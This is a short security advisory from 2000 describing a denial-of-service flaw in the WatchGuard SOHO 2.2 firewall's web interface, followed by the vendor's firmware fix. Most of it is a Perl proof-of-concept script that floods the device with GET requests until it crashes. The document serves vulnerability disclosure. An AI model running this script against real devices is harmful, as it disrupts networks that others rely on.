Reported December 7, 2000 by Securax
- Watchguard SOHO 2.2
Watchguard SOHO Firewall uses a Web-based management interface that is subject to a Denial of Service (DoS) attack. By sending a large number of GET requests (over 70), the Web server consumes large amounts of memory until all available memory resources have been exhausted.
DEMONSTRATION
Sample code from Securax advisory:
#!/usr/bin/perl
#
# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing. So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon <[email protected]>
# ----------------------------------------------------------
use IO::Socket;
$host = "your_watchguard_ip";
$port = "your_port";
$repeat = "100";
$request = "GET / HTTP/1.0";
print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Failed.\n";
$counter = 0;
print "Repeating request for $repeat times.\n";
while($counter < $repeat) \{
print $socket "$request\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "\nThe Watchguard SOHO has crashed. BEEFCAKE!...\n";
print ".";
$counter += 1;
\}
print "\nDone.\n\n";
close($socket);
VENDOR RESPONSE
WatchGuard is aware of the problem and released an updated firmware version.
CREDIT
Discovered by Securax
